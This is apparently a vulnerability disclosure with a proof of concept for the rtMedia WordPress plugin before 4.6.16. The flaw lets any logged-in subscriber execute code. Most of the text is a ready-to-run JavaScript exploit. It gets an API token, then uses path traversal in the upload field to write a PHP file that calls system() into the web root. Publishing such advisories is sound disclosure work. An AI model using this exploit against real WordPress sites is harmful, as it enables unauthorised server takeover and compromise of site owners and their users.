rtMedia for WordPress, BuddyPress and bbPress < 4.6.16 - Subscriber+ RCE

Proof of Concept

If plugin JSON API is enabled, any logged-in user may execute arbitrary code by uploading a PHP file. After enabling the API in settings and installing buddypress, run the following code, replacing the username, password, and server path as needed.

fetch("/wp-admin/admin-ajax.php?action=rtmedia_api", {
	"headers": {
		"content-type": "application/x-www-form-urlencoded",
	},
	"body": "method=wp_login&username=USERNAME&password=PASSWORD",
	"method": "POST",
}).then((response) => {
	return response.json();
}).then((data) => {
	const formData = new FormData()
	formData.append('rtmedia_file', btoa('<?php system("ps"); ?>'));
	formData.append('method', 'rtmedia_upload_media');
	formData.append('image_type', './../../../../../var/www/html/wp-content/rce.php');
	formData.append('title', '../');
	formData.append('token', data.data.access_token);

	fetch('/wp-admin/admin-ajax.php?action=rtmedia_api', {
		method: 'POST',
		body: formData
	});
});